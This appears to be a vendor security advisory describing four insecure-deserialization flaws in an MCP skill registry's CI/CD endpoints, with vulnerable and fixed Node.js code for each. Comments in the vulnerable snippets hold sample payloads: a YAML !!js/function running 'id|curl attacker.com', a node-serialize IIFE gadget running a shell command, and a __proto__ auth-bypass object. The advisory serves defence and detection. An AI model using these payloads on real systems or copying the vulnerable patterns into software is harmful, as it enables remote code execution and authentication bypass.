← Blog

Claude MCP skill insecure deserialization — skill CI/CD pipeline integration endpoints (SA-SKL-DESER51)

SA-SKL-DESER51 identifies four insecure deserialization vulnerabilities in MCP skill registry CI/CD pipeline integration endpoints. All four exploit how the registry deserializes pipeline configurations, trigger models, build event queues, and result aggregations from Redis, MongoDB, and node-serialize — enabling remote code execution or authentication bypass from low-privilege API positions.

SA-SKL-DESER51 findings at a glance
CRITICALDESER51-001 — CI/CD pipeline config reads from Redis as YAML via yaml.load() DEFAULT_FULL_SCHEMA; !!js/function in pipelineConfig.onBuildComplete achieves RCE at every build completion event; fix: FAILSAFE_SCHEMA; JSON for all pipeline config; Zod schema; named-event dispatch table
CRITICALDESER51-002 — Pipeline trigger model reads from MongoDB as BSON; BSON Code type at triggerHandlerFn triggers eval() during pipeline trigger execution; fix: reject BSON Code; promoteValues:false; Zod string-only schema; named-trigger lookup
CRITICALDESER51-003 — Build event queue stored in Redis as MessagePack; __proto__.skipPipelineAuth:true pollutes Object.prototype, disabling authentication for all subsequent CI/CD API requests in process until restart; fix: null-prototype target; Zod strict(); reject __proto__ keys
CRITICALDESER51-004 — Pipeline result aggregation reads via node-serialize; IIFE gadget achieves RCE at aggregation time reachable from any user triggering a CI/CD build; fix: JSON.parse + Zod; detect and reject _$$ND_FUNC$$_ payloads

DESER51-001 — YAML DEFAULT_FULL_SCHEMA RCE on pipeline config

The CI/CD pipeline configuration is stored in Redis under a key derived from the skill ID and retrieved at every build completion event. The deserialization call uses yaml.load(rawConfig) without specifying a schema, which defaults to DEFAULT_FULL_SCHEMA in js-yaml versions before 4.0. This schema recognises the !!js/function YAML type tag and instantiates the embedded JavaScript function string using the Function constructor. An attacker who can write to the pipeline config Redis key (through a misconfigured Redis ACL, a Redis SSRF, or a previous privilege escalation) can achieve RCE at every subsequent build completion event.

Vulnerable
// DESER51-001 — VULNERABLE
const yaml = require('js-yaml');
const rawConfig = await redis.get(`pipeline:config:${skillId}`);
// VULNERABLE: DEFAULT_FULL_SCHEMA deserializes !!js/function tags
const pipelineConfig = yaml.load(rawConfig);
// If Redis contains: onBuildComplete: !!js/function "function(){require('child_process').exec('id|curl attacker.com')}"
// then pipelineConfig.onBuildComplete() achieves RCE on every build completion
await pipelineConfig.onBuildComplete(buildResult);
Fixed
// DESER51-001 — FIXED
const yaml = require('js-yaml');
const { z } = require('zod');

const PipelineConfigSchema = z.object({
  onBuildComplete: z.enum(['notify', 'publish', 'archive']), // named events only
  notifyChannels: z.array(z.string()).max(10).optional(),
});

const DISPATCH_TABLE = {
  notify: notifyBuildComplete,
  publish: publishBuildArtifact,
  archive: archiveBuildResult,
};

const rawConfig = await redis.get(`pipeline:config:${skillId}`);
// FIXED: FAILSAFE_SCHEMA — only strings, no type tags, no function instantiation
const parsed = yaml.load(rawConfig, { schema: yaml.FAILSAFE_SCHEMA });
const config = PipelineConfigSchema.parse(parsed);
const handler = DISPATCH_TABLE[config.onBuildComplete];
if (handler) await handler(buildResult, config);

RCE impact: !!js/function gadgets in pipeline config can intercept published build artifacts before they reach the registry, inject malicious code into published skill packages, exfiltrate build secrets, or establish a persistent reverse shell on the registry server. The build completion event fires for every developer who triggers a CI/CD build, making this a high-frequency RCE trigger.

DESER51-002 — BSON Code type triggers eval() on pipeline trigger model

The pipeline trigger model is stored in MongoDB. When the registry retrieves trigger documents to execute them, the MongoDB Node.js driver deserializes BSON Code type values and makes them available as JavaScript code objects. If the triggerHandlerFn field contains a BSON Code value, the registry code calls triggerDoc.triggerHandlerFn.code and passes it to eval() for execution. An attacker who can insert or modify pipeline trigger documents in MongoDB achieves RCE at every CI/CD pipeline event.

Vulnerable
// DESER51-002 — VULNERABLE
const triggerDoc = await db.collection('pipelineTriggers').findOne({ skillId });
// VULNERABLE: BSON Code type at triggerHandlerFn triggers eval()
if (triggerDoc.triggerHandlerFn && triggerDoc.triggerHandlerFn._bsontype === 'Code') {
  eval(triggerDoc.triggerHandlerFn.code); // RCE if BSON Code inserted
}
Fixed
// DESER51-002 — FIXED
const { z } = require('zod');

const TriggerSchema = z.object({
  triggerHandlerFn: z.string().regex(/^[a-z_][a-z0-9_]*$/, 'Named trigger identifier only'),
});

const TRIGGER_HANDLERS = {
  build_on_push: buildOnPushHandler,
  build_on_tag: buildOnTagHandler,
  build_on_schedule: buildOnScheduleHandler,
};

const triggerDoc = await db.collection('pipelineTriggers').findOne(
  { skillId },
  { promoteValues: false } // FIXED: prevents BSON Code from being promoted to JS value
);

// FIXED: reject BSON Code type explicitly
if (triggerDoc.triggerHandlerFn?._bsontype === 'Code') {
  throw new Error('BSON Code type rejected in pipeline trigger document');
}

const { triggerHandlerFn } = TriggerSchema.parse(triggerDoc);
const handler = TRIGGER_HANDLERS[triggerHandlerFn];
if (!handler) throw new Error(`Unknown trigger handler: ${triggerHandlerFn}`);
await handler(triggerDoc);

DESER51-003 — MessagePack prototype pollution disables CI/CD auth

The build event queue is serialised as MessagePack and stored in Redis. When the registry dequeues a build event and deserialises it, the MessagePack decoder writes the decoded object properties directly onto a plain JavaScript object created with {}. A payload containing a __proto__ key with skipPipelineAuth: true pollutes Object.prototype, causing every subsequent if (req.auth.skipPipelineAuth) check in the CI/CD API layer to return true for all callers until the process restarts.

Vulnerable
// DESER51-003 — VULNERABLE
const msgpack = require('@msgpack/msgpack');
const rawEvent = await redis.lpop('pipeline:events:queue');
// VULNERABLE: decodes into plain {} — __proto__ key pollutes Object.prototype
const buildEvent = msgpack.decode(Buffer.from(rawEvent, 'base64'));
// If queue contains: {"__proto__":{"skipPipelineAuth":true}}
// then Object.prototype.skipPipelineAuth === true for all objects in this process
await processBuildEvent(buildEvent);
Fixed
// DESER51-003 — FIXED
const msgpack = require('@msgpack/msgpack');
const { z } = require('zod');

const BuildEventSchema = z.object({
  skillId: z.string().uuid(),
  buildId: z.string().uuid(),
  status: z.enum(['pending', 'running', 'success', 'failure']),
  triggeredBy: z.string(),
}).strict(); // FIXED: strict() rejects unknown keys

const rawEvent = await redis.lpop('pipeline:events:queue');
// FIXED: decode into null-prototype target to prevent prototype pollution
const decoded = msgpack.decode(Buffer.from(rawEvent, 'base64'), {
  forceIntegerToFloat: false,
  // Use a reviver to sanitise keys
  reviver: (key, value) => {
    if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
      throw new Error(`Rejected dangerous key in MessagePack payload: ${key}`);
    }
    return value;
  },
});
const buildEvent = BuildEventSchema.parse(decoded);
await processBuildEvent(buildEvent);

DESER51-004 — node-serialize IIFE gadget in pipeline result aggregation

The pipeline result aggregation service reads historical build results stored as node-serialize payloads. The node-serialize library's unserialize() function evaluates Immediately Invoked Function Expressions (IIFEs) embedded in the serialised string using a _$$ND_FUNC$$_ marker. Any build result containing this marker achieves RCE at aggregation time, which is triggered by every GET /api/skills/:id/pipeline/results request because aggregation runs on every result list fetch.

Vulnerable
// DESER51-004 — VULNERABLE
const serialize = require('node-serialize');
const rawResults = await redis.lrange(`pipeline:results:${skillId}`, 0, -1);
const results = rawResults.map(r => serialize.unserialize(r));
// VULNERABLE: if any entry contains _$$ND_FUNC$$_ IIFE gadget, RCE at aggregation time
// Payload: {"status":"_$$ND_FUNC$$_function(){require('child_process').exec('id')}()"}
res.json(aggregateResults(results));
Fixed
// DESER51-004 — FIXED
const { z } = require('zod');

const BuildResultSchema = z.object({
  buildId: z.string().uuid(),
  status: z.enum(['success', 'failure', 'cancelled']),
  durationMs: z.number().int().min(0),
  artifactHash: z.string().regex(/^[a-f0-9]{64}$/),
});

const rawResults = await redis.lrange(`pipeline:results:${skillId}`, 0, -1);
const results = rawResults.map(r => {
  // FIXED: detect and reject _$$ND_FUNC$$_ payloads before any parsing
  if (r.includes('_$$ND_FUNC$$_')) {
    throw new Error('Rejected node-serialize function gadget in pipeline result');
  }
  return BuildResultSchema.parse(JSON.parse(r));
});
res.json(aggregateResults(results));

SkillAudit detection: The scanner identifies DESER51 patterns using AST queries targeting yaml.load( without schema argument, yaml.load( with DEFAULT_FULL_SCHEMA, serialize.unserialize( from node-serialize, eval( applied to BSON Code values, and msgpack.decode( without prototype-safe targets. All four finding patterns are detected automatically in MCP skill registry codebases. Submit your registry at SkillAudit.

Related: SA-SKL-CORS65: CORS in API key management endpoints • All advisories